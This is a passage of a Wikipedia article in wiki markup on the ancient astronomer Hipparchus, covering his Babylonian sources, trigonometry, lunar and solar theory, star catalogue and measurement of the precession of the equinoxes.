It is clear that Hipparchus (and Ptolemy after him) had an essentially complete list of eclipse observations covering many centuries. Most likely these had been compiled from the &quot;diary&quot; tablets: these are clay tablets recording all relevant observations that the Chaldeans routinely made. Preserved examples date from [[652 BC]] to [[130|AD 130]], but probably the records went back as far as the reign of the Babylonian king [[Nabonassar]]: Ptolemy starts his chronology with the first day in the Egyptian calendar of the first year of Nabonassar, i.e., [[26 February]] [[747 BC]].

This raw material by itself must have been hard to use, and no doubt the Chaldeans themselves compiled extracts of e.g., all observed eclipses (some tablets with a list of all eclipses in a period of time covering a [[saros]] have been found). This allowed them to recognise periodic recurrences of events. Among others they used in System B (cf. ''Almagest'' IV.2):

* 223 ([[synodic]]) months = 239 returns in anomaly ([[anomalistic month]]) = 242 returns in latitude ([[draconic month]]).  This is now known as the [[saros]] period which is very useful for predicting [[eclipse]]s.
* 251 (synodic) months = 269 returns in anomaly
* 5458 (synodic) months = 5923 returns in latitude
* 1 [[synodic month]] = 29;31:50:08:20 days (sexagesimal; 29.53059413... days in decimals = 29&amp;nbsp;days 12&amp;nbsp;hours 44&amp;nbsp;min 3&amp;#x2153;&amp;nbsp;s)

The Babylonians expressed all periods in synodic [[month]]s, probably because they used a [[lunisolar calendar]]. Various relations with yearly phenomena led to different values for the length of the year.

Similarly various relations between the periods of the [[planet]]s were known. The relations that Ptolemy attributes to Hipparchus in ''Almagest'' IX.3 had all already been used in predictions found on Babylonian clay tablets.

All this knowledge was transferred to the [[Greeks]] probably shortly after the conquest by [[Alexander the Great]] ([[331 BC]]). According to the late classical philosopher [[Simplicius of Cilicia|Simplicius]] (early [[6th century AD]]), Alexander ordered the translation of the historical astronomical records under supervision of his chronicler [[Callisthenes|Callisthenes of Olynthus]], who sent it to his uncle [[Aristotle]]. It is worth mentioning here that although Simplicius is a very late source, his account may be reliable. He spent some time in exile at the [[Sassanid]] (Persian) court, and may have accessed sources otherwise lost in the West. It is striking that he mentions the title ''tèresis'' (Greek: guard) which is an odd name for a historical work, but is in fact an adequate translation of the Babylonian title ''massartu'' meaning &quot;guarding&quot; but also &quot;observing&quot;.  Anyway, Aristotle's pupil [[Callippus|Callippus of Cyzicus]] introduced his 76-year cycle, which improved upon the 19-year [[Metonic cycle]], about that time. He had the first year of his first cycle start at the summer solstice of [[28 June]] [[330 BC]] ([[Julian calendar|Julian]] [[proleptic]] date), but later he seems to have counted lunar months from the first month after Alexander's decisive battle at [[Gaugamela]] in fall [[331 BC]].  So Callippus may have obtained his data from Babylonian sources and his calendar may have been anticipated by Kidinnu. Also it is known that the Babylonian priest known as [[Berossus]] wrote around [[281 BC]] a book in Greek on the (rather mythological) history of Babylonia, the ''[[Babyloniaca]]'', for the new ruler [[Antiochus I]]; it is said that later he founded a school of [[astrology]] on the Greek island of [[Kos]]. Another candidate for teaching the Greeks about Babylonian [[astronomy]]/[[astrology]] was [[Sudines]] who was at the court of [[Attalus I|Attalus I Soter]] late in the [[3rd century BC]].

In any case, the translation of the astronomical records required profound knowledge of the [[cuneiform script]], the language, and the procedures, so it seems likely that it was done by some unidentified Chaldeans. Now, the Babylonians dated their observations in their lunisolar calendar, in which months and years have varying lengths (29 or 30 days; 12 or 13 months respectively). At the time they did not use a regular calendar (such as based on the [[Metonic cycle]] like they did later), but started a new month based on observations of the [[New Moon]]. This made it very tedious to compute the time interval between events.

What Hipparchus may have done is transform these records to the [[Egyptian calendar]], which uses a fixed year of always 365 days (consisting of 12 months of 30 days and 5 extra days): this makes computing time intervals much easier. Ptolemy dated all observations in this calendar. He also writes that &quot;All that he (=Hipparchus) did was to make a compilation of the planetary observations arranged in a more useful way&quot; (''Almagest'' IX.2).  Pliny states (''Naturalis Historia'' II.IX(53)) on eclipse predictions: &quot;After their time (=[[Thales]]) the courses of both stars (=Sun and Moon) for 600 years were prophecied by Hipparchus, ...&quot;.  This seems to imply that Hipparchus predicted eclipses for a period of 600 years, but considering the enormous amount of computation required, this is very unlikely. Rather, Hipparchus would have made a list of all eclipses from Nabonasser's time to his own.

Other traces of Babylonian practice in Hipparchus' work are:
* first Greek known to divide the circle in 360 [[degree (angle)|degrees]] of 60 [[arc minute]]s.
* first consistent use of the [[sexagesimal]] number system.
* the use of the unit ''pechus'' (&quot;cubit&quot;) of about 2° or 2½°.
* use of a short period of 248 days = 9 anomalistic months.

Also see G.J. Toomer (1981?): ''Hipparchus and Babylonian Astronomy''.

== Geometry and trigonometry ==
Hipparchus is recognised as the first mathematician who compiled a [[trigonometry]] table, which he needed when computing the [[eccentricity (orbit)|eccentricity]] of the [[orbit]]s of the Moon and Sun. He tabulated values for the [[chord (geometry)|chord]] function, which gives the length of the chord for each angle. He did this for a circle with a circumference of 21,600 and a radius of (rounded) 3438 units: this has a unit length of 1 arc minute along its perimeter. He tabulated the chords for angles with increments of 7.5°. In modern terms, the chord of an angle equals twice the [[trigonometric function|sine]] of half of the angle, i.e.:

:    chord(''A'') = 2&amp;nbsp;sin(''A''/2).  

He described it in a work (now lost), called ''Toon en kuklooi eutheioon'' (''Of Lines Inside a Circle'') by [[Theon of Alexandria]] ([[4th century]]) in his commentary on the ''Almagest'' I.10; his table seems to have survived in astronomical treatises in [[India]], for instance the [[Surya Sidhanta]]. This was a significant innovation, because it allowed Greek astronomers to solve any triangle, and made it possible to make quantitative astronomical models and predictions using their preferred geometric techniques. See [Toomer 1973].

For his chord table Hipparchus must have used a better approximation for [[pi|π]] than the one from [[Archimedes]] (between 3 + 1/7 and 3 + 10/71); maybe the one later used by Ptolemy: 3;8:30 ([[sexagesimal]]) (''Almagest'' VI.7); but it is not known if he computed an improved value himself.

Hipparchus could construct his chord table using the [[Pythagorean theorem]] and a [[theorem]] known to Archimedes. He also might have developed and used the theorem in [[plane geometry]] called [[Ptolemy's theorem]], because it was proved by Ptolemy in his ''Almagest'' (I.10) (later elaborated on by [[Lazare Carnot|Carnot]]).  

Hipparchus was the first to show that the [[stereographic projection]] is [[conformal map|conformal]], and that it transforms circles on the [[sphere]] that do not pass through the center of projection to circles on the [[plane (mathematics)|plane]]. This was the basis for the [[astrolabe]].  

Besides geometry, Hipparchus also used [[arithmetic]] techniques from the [[Chaldea]]ns. He was one of the first Greek mathematicians to do this, and in this way expanded the techniques available to astronomers and geographers.

There is no indication that Hipparchus knew [[spherical trigonometry]], which was first developed by [[Menelaus of Alexandria]] in the [[1st century]]. Ptolemy later used the new technique for computing things like the rising and setting points of the [[ecliptic]], or to take account of the lunar [[parallax]]. Hipparchus may have used a globe for this (to read values off the coordinate grids drawn on it), as well as approximations from planar geometry, or arithmetical approximations developed by the Chaldeans.

== Lunar and solar theory ==

=== Motion of the Moon ===
Hipparchus also studied the motion of the [[Moon]] and confirmed the accurate values for some periods of its motion that Chaldean astronomers had obtained before him. The traditional value (from Babylonian System B) for the mean [[synodic month]] is 29&amp;nbsp;days;31,50,8,20 (sexagesimal) = 29.5305941... d. Expressed as 29&amp;nbsp;days + 12&amp;nbsp;hours + 793/1080&amp;nbsp;hours this value has been used later in the [[Hebrew calendar]] (possibly from Babylonian sources). The Chaldeans also knew that 251 [[synodic month]]s = 269 [[anomalistic month]]s.  Hipparchus extended this period by a factor of 17, because after that interval the Moon also would have a similar latitude, and it is close to an integer number of years (345). Therefore, eclipses would reappear under almost identical circumstances. The period is 126007&amp;nbsp;days 1&amp;nbsp;hour (rounded). Hipparchus could confirm his computations by comparing eclipses from his own time (presumably [[27 January]] [[141 BC]] and [[26 November]] [[139 BC]] according to [Toomer 1980]), with eclipses from Babylonian records 345 years earlier (''Almagest'' IV.2; [Jones 2001]).  Already [[al-Biruni]] (''Qanun'' VII.2.II) and [[Copernicus]] (''de revolutionibus'' IV.4) noted that the period of 4,267 lunations is actually about 5 minutes longer than the value for the eclipse period that Ptolemy attributes to Hipparchus.  However, the best clocks and timing methods of the age had an accuracy of no better than 8 minutes.  Modern scholars agree that Hipparchus rounded the eclipse period to the nearest hour, and used it to confirm the validity of the traditional values, rather than try to derive an improved value from his own observations. From modern ephemerides [Chapront ''et al.'' 2002] and taking account of the change in the length of the day (see [[Delta T|ΔT]]) we estimate that the error in the assumed length of the synodic month was less than 0.2&amp;nbsp;s in the [[4th century BC]] and less than 0.1&amp;nbsp;s in Hipparchus' time.

=== Orbit of the Moon ===
It had been known for a long time that the motion of the Moon is not uniform: its speed varies. This is called its '''anomaly''', and it repeats with its own period; the [[anomalistic month]]. The Chaldeans took account of this arithmetically, and used a table giving the daily motion of the Moon according to the date within a long period. The Greeks however preferred to think in geometrical models of the sky. [[Apollonius of Perga]] had at the end of the [[3rd century BC]] proposed two models for lunar and planetary motion:
# In the first, the Moon would move uniformly along a circle, but the Earth would  be eccentric, i.e., at some distance of the center of the circle. So the apparent angular speed of the Moon (and its distance) would vary.
# The Moon itself would move uniformly (with some mean motion in anomaly) on a secondary circular orbit, called an '''epicycle''', that itself would move uniformly (with some mean motion in longitude) over the main circular orbit around the Earth, called '''deferent'''; see [[deferent and epicycle]].
Apollonius demonstrated that these two models were in fact mathematically equivalent. However, all this was theory and had not been put to practice. Hipparchus was the first to attempt to determine the relative proportions and actual sizes of these [[orbit]]s.

Hipparchus devised a geometrical method to find the parameters from three positions of the Moon, at particular phases of its anomaly. In fact, he did this separately for the eccentric and the epicycle model. Ptolemy describes the details in the ''Almagest'' IV.11. Hipparchus used two sets of three lunar eclipse observations, which he carefully selected to satisfy the requirements. The eccentric model he fitted to these eclipses from his Babylonian eclipse list: 22/23 [[December]] [[383 BC]], 18/19 [[June]] [[382 BC]], and 12/13 [[December]] [[382 BC]]. The epicycle model he fitted to lunar eclipse observations made in Alexandria at [[22 September]] [[201 BC]], [[19 March]] [[200 BC]], and [[11 September]] [[200 BC]].
* For the eccentric model, Hipparchus found for the ratio between the radius of the [[eccenter]] and the distance between the center of the eccenter and the center of the ecliptic (i.e., the observer on Earth): 3144 : 327+2/3 ; 
* and for the epicycle model, the ratio between the radius of the deferent and the epicycle: 3122+1/2 : 247+1/2 .  
The somewhat weird numbers are due to the cumbersome unit he used in his chord table. The results are distinctly different. This is partly due to some sloppy rounding and calculation errors, for which Ptolemy criticised him (he himself made rounding errors too). Anyway, Hipparchus found inconsistent results; he later used the ratio of the epicycle model (3122+1/2 : 247+1/2), which is too small (60 : 4;45 hexadecimal): Ptolemy established a ratio of 60 : 5+1/4 . See [Toomer 1967].

=== Apparent motion of the Sun ===
Before Hipparchus, [[Meton]], [[Euctemon]], and their pupils at [[Athens]] had made a solstice observation (i.e., timed the moment of the summer [[solstice]]) on [[June 27]], [[432 BC]] ([[proleptic Julian calendar]]). [[Aristarchus of Samos]] is said to have done so in [[280 BC]], and Hipparchus also had an observation by [[Archimedes]].  Hipparchus himself observed the summer solstice in [[135 BC]], but he found observations of the moment of [[equinox]] more accurate, and he made many during his lifetime. Ptolemy gives an extensive discussion of Hipparchus' work on the length of the year in the ''Almagest'' III.1, and quotes many observations that Hipparchus made or used, spanning [[162 BC]] to [[128 BC]].  

Ptolemy quotes an equinox timing by Hipparchus (at [[24 March]] [[146 BC]] at dawn) that differs from the observation made on that day in [[Alexandria]] (at 5h after sunrise): Hipparchus may have visited Alexandria but he did not make his equinox observations there; presumably he was on Rhodes (at the same geographical longitude). He may have used his own armillary sphere or an equatorial ring for these observations. Hipparchus (and Ptolemy) knew that observations with these instruments are sensitive to a precise alignment with the [[equator]]. The real problem however is that atmospheric [[refraction]] lifts the Sun significantly above the horizon: so its apparent [[declination]] is too high, which changes the observed time when the Sun crosses the equator. Worse, the refraction decreases as the Sun rises, so it may appear to move in the wrong direction with respect to the equator in the course of the day - as Ptolemy mentions; however, Ptolemy and Hipparchus apparently did not realize that refraction is the cause.

At the end of his career, Hipparchus wrote a book called ''Peri eniausíou megéthous'' (&quot;On the Length of the Year&quot;) about his results. The established value for the [[tropical year]], introduced by [[Callippus]] in or before [[330 BC]] (possibly from Babylonian sources, see above), was 365 + 1/4 days.  Hipparchus' equinox observations gave varying results, but he himself points out (quoted in ''Almagest'' III.1(H195)) that the observation errors by himself and his predecessors may have been as large as 1/4 day. So he used the old solstice observations, and determined a difference of about one day in about 300 years. So he set the length of the tropical year to 365 + 1/4 - 1/300 days (= 365.24666... days = 365&amp;nbsp;days 5&amp;nbsp;hours 55&amp;nbsp;min, which differs from the actual value (modern estimate) of 365.24219... days = 365&amp;nbsp;days 5&amp;nbsp;hours 48&amp;nbsp;min 45&amp;nbsp;s by only about 6&amp;nbsp;min).

Between the solstice observation of Meton and his own, there were 297 years spanning 108,478 days. This implies a tropical year of 365.24579... days = 365&amp;nbsp;days;14,44,51 (sexagesimal; = 365&amp;nbsp;days + 14/60 + 44/60&lt;sup&gt;2&lt;/sup&gt; + 51/60&lt;sup&gt;3&lt;/sup&gt;), and this value has been found on a Babylonian clay tablet [A. Jones, 2001]. This is an indication that Hipparchus' work was known to Chaldeans.

Another value for the year that is attributed to Hipparchus (by the astrologer [[Vettius Valens]] in the [[1st century]]) is 365 + 1/4 + 1/288 days (= 365.25347... days = 365&amp;nbsp;days 6&amp;nbsp;hours 5&amp;nbsp;min), but this may be a corruption of another value attributed to a Babylonian source: 365 + 1/4 + 1/144 days (= 365.25694... days = 365&amp;nbsp;days 6&amp;nbsp;hours 10&amp;nbsp;min). It is not clear if this would be a value for the [[sidereal year]] (actual value at his time (modern estimate) ca. 365.2565 days), but the difference with Hipparchus' value for the tropical year is consistent with his rate of [[precession]] (see below).

=== Orbit of the Sun ===
Before Hipparchus the Chaldean astronomers knew that the lengths of the [[season]]s are not equal. Hipparchus made equinox and solstice observations, and according to Ptolemy (''Almagest'' III.4) determined that spring (from spring equinox to summer solstice) lasted 94 + 1/2 days, and summer (from summer solstice to autumn equinox) 92 + 1/2 days. This is an unexpected result given a premise of the Sun moving around the Earth in a circle at uniform speed. Hipparchus' solution was to place the Earth not at the center of the Sun's motion, but at some distance from the center. This model described the apparent motion of the Sun fairly well (of course today we know that the [[planet]]s like the Earth move in [[ellipse]]s around the Sun, but this was not discovered until [[Johannes Kepler]] published his first two laws of planetary motion in [[1609]]). The value for the [[eccentricity (orbit)|eccentricity]] attributed to Hipparchus by Ptolemy is that the offset is 1/24 of the radius of the orbit (which is too large), and the direction of the [[apogee]] would be at longitude 65.5° from the [[vernal equinox]]. Hipparchus may also have used another set of observations (94 + 1/4 and 92 + 3/4 days), which would lead to different values. The question remains if Hipparchus is really the author of the values provided by Ptolemy, who found no change three centuries later, and added lengths for the autumn and winter seasons.

=== Calendar ===
&quot;To be written&quot;

=== Distance, parallax, size of the Moon and Sun ===
{{main|Hipparchus On Sizes and Distances}}
Hipparchus also undertook to find the distances and sizes of the Sun and the Moon. He published his results in a work of two books called ''Peri megethoon kai 'apostèmátoon'' (&quot;On Sizes and Distances&quot;) by Pappus in his commentary on the ''Almagest'' V.11; [[Theon of Smyrna]] ([[2nd century]]) mentions the work with the addition &quot;of the Sun and Moon&quot;.  

Hipparchus measured the apparent diameters of the Sun and Moon with his ''diopter''. Like others before and after him, he found that the Moon's size varies as it moves on its (eccentric) orbit, but he found no perceptible variation in the apparent diameter of the Sun. He found that at the '''[[mean]]''' distance of the Moon, the Sun and Moon had the same apparent diameter; at that distance, the Moon's diameter fits 650 times into the circle, i.e., the mean apparent diameters are 360/650 = 0°33'14&quot;.

Like others before and after him, he also noticed that the Moon has a noticeable [[parallax]], i.e., that it appears displaced from its calculated position (compared to the Sun or [[star]]s), and the difference is greater when closer to the horizon. He knew that this is because the Moon circles the center of the Earth, but the observer is at the surface - Moon, Earth and observer form a triangle with a sharp angle that changes all the time. From the size of this parallax, the distance of the Moon as measured in Earth [[radius|radii]] can be determined. For the Sun however, there was no observable parallax (we now know that it is about 8.8&quot;, more than ten times smaller than the resolution of the unaided eye).

In the first book, Hipparchus assumes that the parallax of the Sun is 0, as if it is at infinite distance. He then analyzed a solar eclipse, presumably that of [[14 March]] [[190 BC]]. It was total in the region of the [[Hellespont]] (and in fact in his birth place Nicaea); at the time the Romans were preparing for war with [[Antiochus III]] in the area, and the eclipse is mentioned by [[Livy]] in his ''[[Ab Urbe Condita]]'' VIII.2. It was also observed in Alexandria, where the Sun was reported to be obscured for 4/5 by the Moon. Alexandria and Nicaea are on the same meridian. Alexandria is at about 31° North, and the region of the Hellespont at about 41° North; authors like Strabo and Ptolemy had fairly decent values for these geographical positions, and presumably Hipparchus knew them too. So Hipparchus could draw a triangle formed by the two places and the Moon, and from simple geometry was able to establish a distance of the Moon, expressed in Earth radii. Because the eclipse occurred in the morning, the Moon was not in the [[meridian (astronomy)|meridian]], and as a consequence the distance found by Hipparchus was a lower limit. In any case, according to Pappus, Hipparchus found that the least distance is 71 (from this eclipse), and the greatest 81 Earth radii.

In the second book, Hipparchus starts from the opposite extreme assumption: he assigns a (minimum) distance to the Sun of 470 Earth radii. This would correspond to a parallax of 7', which is apparently the greatest parallax that Hipparchus thought would not be noticed (for comparison: the typical resolution of the human eye is about 2'; [[Tycho Brahe]] made naked eye observation with an accuracy down to 1'). In this case, the shadow of the Earth is a [[conical surface|cone]] rather than a [[cylinder (geometry)|cylinder]] as under the first assumption. Hipparchus observed (at lunar eclipses) that at the mean distance of the Moon, the diameter of the shadow cone is 2+½ lunar diameters.  That apparent diameter is, as he had observed, 360/650 degrees. With these values and simple geometry, Hipparchus could determine the mean distance; because it was computed for a minumum distance of the Sun, it is the maximum mean distance possible for the Moon. With his value for the eccentricity of the orbit, he could compute the least and greatest distances of the Moon too. According to Pappus, he found a least distance of 62, a mean of 67+1/3, and consequently a greatest distance of 72+2/3 Earth radii.  With this method, as the parallax of the Sun decreases (i.e., its distance increases), the minimum limit for the mean distance is 59 Earth radii - exactly the mean distance that Ptolemy later derived.

Hipparchus thus had the problematic result that his minimum distance (from book 1) was greater than his maximum mean distance (from book 2). He was intellectually honest about this discrepancy, and probably realized that especially the first method is very sensitive to the accuracy of the observations and parameters (in fact, modern calculations show that the size of the solar eclipse at Alexandria must have been closer to 9/10 than to the reported 4/5).

Ptolemy later measured the lunar parallax directly (''Almagest'' V.13), and used the second method of Hipparchus' with lunar eclipses to compute the distance of the Sun (''Almagest'' V.15).  He criticizes Hipparchus for making contradictory assumptions, and obtaining conflicting results (''Almagest'' V.11): but apparently he failed to understand Hipparchus' strategy to establish limits consistent with the observations, rather than a single value for the distance. His results were the best so far: the actual mean distance of the Moon is 60.3 Earth radii, within his limits from book 2.

[[Theon of Smyrna]] wrote that according to Hipparchus, the Sun is 1,880 times the size of the Earth, and the Earth twenty-seven times the size of the Moon; apparently this refers to [[volume]]s, not [[diameter]]s. From the geometry of book 2 it follows that the Sun is at 2,550 Earth radii, and the mean distance of the Moon is 60½ radii. Similarly, [[Cleomedes]] quotes Hipparchus for the sizes of the Sun and Earth as 1050:1; this leads to a mean lunar distance of 61 radii. Apparently Hipparchus later refined his computations, and derived accurate single values that he could use for predictions of solar eclipses.

See [Toomer 1974] for a more detailed discussion.

=== Eclipses ===
[[Pliny the Elder|Pliny]] (''Naturalis Historia'' II.X) tells us that Hipparchus demonstrated that lunar eclipses can occur five months apart, and solar eclipses seven months (instead of the usual six months); and the Sun can be hidden twice in thirty days, but as seen by different nations. Ptolemy discussed this a century later at length in ''Almagest'' VI.6. The geometry, and the limits of the positions of Sun and Moon when a solar or lunar eclipse is possible, are explained in ''Almagest'' VI.5. Hipparchus apparently made similar calculations. The result that two solar eclipses can occur one month apart is important, because this can not be based on observations: one is visible on the northern and the other on the southern hemisphere - as Pliny indicates -, and the latter was inaccessible to the Greek.

Prediction of a solar eclipse, i.e., exactly when and where it will be visible, requires a solid lunar theory and proper treatment of the lunar parallax. Hipparchus must have been the first to be able to do this. A rigorous treatment requires [[spherical trigonometry]], but Hipparchus may have made do with planar approximations.  He may have discussed these things in ''Peri tes kata platos meniaias tes selenes kineseoos'' (&quot;On the monthly motion of the Moon in latitude&quot;), a work mentioned in the ''[[Suda]]''.

Pliny also remarks that &quot;he also discovered for what exact reason, although the shadow causing the eclipse must from sunrise onward be below the earth, it happened once in the past that the moon was eclipsed in the west while both luminaries were visible above the earth.&quot; (translation H. Rackham (1938), [[Loeb Classical Library]] 330 p.207). Toomer (1980) argued that this must refer to the large total lunar eclipse of [[26 November]] [[139 BC]], when over a clean sea horizon as seen from the citadel of Rhodes, the Moon was eclipsed in the northwest just after the Sun rose in the southeast. This would be the second eclipse of the 345-year interval that Hipparchus used to verify the traditional Babylonian periods: this puts a late date to the development of Hipparchus' lunar theory. We do not know what &quot;exact reason&quot; Hipparchus found for seeing the Moon eclipsed while apparently it was not in exact [[astronomical opposition|opposition]] to the Sun.  Parallax lowers the altitude of the luminaries; refraction raises them, and from a high point of view the horizon is lowered.

== Astronomical instruments and astrometry ==
Hipparchus is credited with the invention or improvement of several astronomical instruments, which were used for a long time for [[naked-eye]] observations.  According to [[Synesius]] of Ptolemais ([[4th century]]) he made the first ''astrolabion'': this may have been an [[armillary sphere]] (which Ptolemy however says he constructed, in ''Almagest'' V.1); or the predecessor of the planar instrument called [[astrolabe]] (also mentioned by [[Theon of Alexandria]]). With an astrolabe Hipparchus was the first to be able to measure the geographical [[latitude]] and [[time]] by observing stars. Previously this was done at daytime by measuring the shadow cast by a ''[[gnomon]]'', or with the portable instrument known as ''[[scaphion]]''.

[[Image:equatorial_ring.png|thumb|right|200px|Hipparchus' [[equatorial ring]].]]

Ptolemy mentions (''Almagest'' V.14) that he used a similar instrument as Hipparchus, called ''[[dioptra]]'', to measure the apparent diameter of the Sun and Moon. [[Pappus of Alexandria]] described it (in his commentary on the ''Almagest'' of that chapter), as did [[Proclus]] (''Hypotyposis'' IV). It was a 4-foot rod with a scale, a sighting hole at one end, and a wedge that could be moved along the rod to exactly obscure the disk of Sun or Moon.

Hipparchus also observed solar [[equinox]]es, which may be done with an [[equatorial ring]]: its shadow falls on itself when the Sun is on the [[equator]] (i.e., in one of the equinoctial points on the [[ecliptic]]), but the shadow falls above or below the opposite side of the ring when the Sun is south or north of the equator. Ptolemy quotes (in ''Almagest'' III.1 (H195)) a description by Hipparchus of an equatorial ring in Alexandria; a little further he describes two such instruments present in Alexandria in his own time.

== Geography ==
Hipparchus applied his knowledge of spherical angles to the problem of denoting locations on the Earth's surface. Before him a grid system had been used by [[Dicaearchus]] of [[Messina, Italy|Messana]], but Hipparchus was the first to apply mathematical rigor to the determination of the [[latitude]] and [[longitude]] of places on the Earth. Hipparchus wrote a critique in three books on the work of the geographer [[Eratosthenes]] of Cyrene ([[3rd century BC]]), called ''Pròs tèn 'Eratosthénous geografían'' (&quot;Against the Geography of Eratosthenes&quot;). It is known to us from [[Strabo]] of Amaseia, who in his turn criticised Hipparchus in his own ''Geografia''. Hipparchus apparently made many detailed corrections to the locations and distances mentioned by Eratosthenes. It seems he did not introduce many improvements in methods, but he did propose a means to determine the [[geographic coordinate system|geographical longitudes]] of different [[city|cities]] at [[lunar eclipse]]s (Strabo ''Geografia'' 7). A lunar eclipse is visible simultaneously on half of the Earth, and the difference in longitude between places can be computed from the difference in local time when the eclipse is observed. His approach would give accurate results if it were correctly carried out but the limitations of timekeeping accuracy in his era made this method impractical.

== Star catalogue ==
After that, in [[135 BC]], enthusiastic about a [[nova]] in the constellation of [[Scorpius]], he measured with an [[equatorial armillary sphere]] [[ecliptic coordinate system|ecliptical coordinates]] of about 1,000 stars (the exact number is not known) for his [[star catalogue]].

He also knew the work ''Phainomena'' (''Phenomena''). That poem, known as ''Phaenomena'' or ''Arateia'', describes the [[constellation]]s and the [[star]]s that form them. Hipparchus' commentary contains many measurements of [[stellar position]] and times for rising, culmination, and setting of the constellations treated in the ''Phaenomena'', and these are likely to have been based on measurements of [[stellar position]]s&amp;mdash; and he knew the ''Enoptron'' (''Mirror of Nature'') of [[Eudoxus of Cnidus]], who had his school near [[Cyzicus]] on the southern coast of the [[Sea of Marmara]] and through the ''Phenomena'' Eudoxus' sphere, which was made from metal or stone and where there were marked constellations, brightest stars, the [[tropic of Cancer]] and the [[tropic of Capricorn]]. These comparisons embarrassed him because he could not put together Eudoxus' detailed statements with his own observations and observations of that time. From all this he found that coordinates of the stars and the Sun had systematically changed. Their ecliptic latitudes β remained unchanged, but their ecliptic longitudes λ had increased, at a rate which he estimated to be at least one degree per century.

This catalog served him to find any changes on the sky but unfortunately it is not preserved today. However, a [[2005]] analysis of an ancient statue of [[Atlas (mythology)|Atlas]] shows stars at positions that appear to have been determined using Hipparchus' data. [http://www.phys.lsu.edu/farnese/] His star map was thoroughly modified as late as 1,000 years later in [[964]] by [['Abd Al-Rahman Al Sufi|Al Sufi]] and 1,500 years later ([[1437]]) by [[Ulugh Beg]]. Later, [[Edmond Halley|Halley]] would use his star catalogue to discover proper motions as well.

The system of celestial coordinates used in Hipparchus's star catalog is not known. Since Ptolemy's copy in the [[Almagest]] is given in [[ecliptic coordinate system|ecliptical coordinates]], that system would seem the most likely; although there is evidence that both ecliptic coordinates and [[equatorial coordinate system|equatorial coordinates]] were used in the original observations. 

=== [[Celestial body|Celestial bodies]] ===
Hipparchus in [[130 BC]] wrote about an [[open cluster]], the [[Messier object|M44]] [[Praesepe]] ([[NGC 2632]]) as a &quot;Little [[Cloud]]&quot; or &quot;Cloudy Star&quot;. Before him the object was known to [[Aratus]] ca. [[260 BC]], who wrote about it as a &quot;Little [[Mist]]&quot;. Hipparchus also included this object in his famous star catalogue. The cluster was also known to [[China|Chinese]] astronomers. [Moore 1994], [10]

: ...''to be extended ...''

=== [[Celestial coordinate system]]s ===
Delambre in his ''Histoire de l'Astronomie Ancienne'' ([[1817]]) concluded that Hipparchus knew and used a real (celestial) [[equatorial coordinate system]], directly with the [[right ascension]] and [[declination]] (or with its complement, [[polar distance (astronomy)|polar distance]]). Later [[Otto Neugebauer]] in his ''A History of Ancient Mathematical Astronomy'' ([[1975]]) rejected Delambre's claims.

=== Brightness of stars ===
Hipparchus had in [[134 BC]] ranked stars in six magnitude classes according to their brightness: he assigned the value of 1 to the twenty brightest stars, to weaker ones a value of 2, and so forth to the stars with a class of 6, which can be barely seen with the naked eye. This scheme was later adopted by [[Ptolemy]] and a similar system is still in use today. (See [[Apparent magnitude]]).

== Precession of the equinoxes ([[146 BC]]-[[130 BC]])==
Hipparchus is perhaps most famous for having been the first to measure the [[precession]] of the [[equinox]]es. There is some suggestion that the Babylonians may have known about precession, but it appears that Hipparchus was the first to really understand it and measure it. According to [[Albategnius|al-Battani]], Chaldean astronomers had distinguished the [[tropical year|tropical]] and [[sidereal year]]. He stated that they had, around [[330 BC]], an estimation for the length of the sidereal year to be  S&lt;sub&gt;K&lt;/sub&gt; = 365&amp;nbsp;days 6&amp;nbsp;hours 11&amp;nbsp;min (= 365.258&amp;nbsp;days) with an error of (about) 2&amp;nbsp;min. This phenomenon was probably also known to [[Kidinnu]] around [[314 BC]]. [[Yu Xi]] ([[fourth century]]) was the first Chinese astronomer to mention precession.

Hipparchus and his predecessors mostly used simple instruments for astronomical calculations, such as the [[gnomon]], [[astrolabe]], [[armillary sphere]], etc.

Additionally, as the first in history to correctly explain this with [[retrograde motion|retrogradical]] movement of [[vernal point]] γ over the [[ecliptic]] for about 45&quot;, 46&quot; or 47&quot; (36&quot; or 3/4' according to Ptolemy) per annum (today's value is 50.29&quot;), he showed the Earth's [[axis of rotation|axis]] is not fixed in space. By comparing his own measurements of the position of the equinoxes to the star [[Spica]] during a lunar eclipse at the time of equinox with those of [[Euclid]]'s contemporaries ([[Timocharis]] of Alexandria (ca. [[320 BC]]&amp;ndash;[[260 BC]]), [[Aristillus]] 150 years earlier, the records of Chaldean astronomers (especially Kidinnu's records), he still later observed that the equinox had moved 2° relative to Spica. He also noticed this motion in other stars. He obtained a value of not less than 1° in a century. The modern value is 1° in 72 years. 

After him many Greek and Arab astronomers had confirmed this phenomenon. Ptolemy compared his catalogue with those of Aristillus, Timocharis, Hipparchus and the observations of [[Agrippa]] and [[Menelaus]] of Alexandria from the early [[1st century]] and he finally confirmed Hipparchus' empirical fact that the poles of the celestial equator in one [[Platonic year]] (approximately 25,777 sidereal years) encircle the [[ecliptical pole]]. The diameter of this circle is equal to the inclination of ecliptic relative to the [[celestial equator]]. The equinoctial points in this time traverse the whole ecliptic and they move 1° in a century. This velocity is equal to that calculated by Hipparchus. Because of these accordances, Delambre, P. Tannery and other French historians of astronomy had wrongly jumped to conclusions that Ptolemy recorded his star catalogue from Hipparchus' with an ordinary extrapolation. It was not known until [[1898]] when [[Marcel Boll]] and others had found that Ptolemy's catalogue differs from Hipparchus' not only in the number of stars but in other respects. 

This phenomenon was named by Ptolemy just because the [[vernal point]] γ leads the Sun. In [[Latin]] ''praecesse'' means &quot;to overtake&quot; or &quot;to outpass&quot;, and today also means to twist or to turn. Its own name shows this phenomenon was discovered before its theoretical explanation, otherwise it would have been given a better term. Many later astronomers, physicists and mathematicians had occupied themselves with this problem, practically and theoretically. The phenomenon itself had opened many new promising solutions in several branches of [[celestial mechanics]]: [[Thabit ibn Qurra]]'s theory of [[trepidation (physics)|trepidation]] and [[oscillation]] of equinoctial points, [[Isaac Newton]]'s [[gravitation|general gravitational law]] (which had explained it in full), [[Leonhard Euler]]'s kinematic equations and [[Joseph Louis Lagrange|Joseph Lagrange's]] [[Lagrangian mechanics|equations of motion]], [[Jean le Rond d'Alembert|Jean d'Alembert's]] dynamical theory of the movement of a rigid body, some algebraic solutions for special cases of precession, [[John Flamsteed]]'s and [[James Bradley]]'s difficulties in the making of precise telescopic star catalogues, [[Friedrich Bessel]]'s and [[Simon Newcomb]]'s measurements of precession, and finally the precession of [[perihelion]] in [[Albert Einstein]]'s [[general relativity|general theory of relativity]].

== Hipparchus and astrology ==
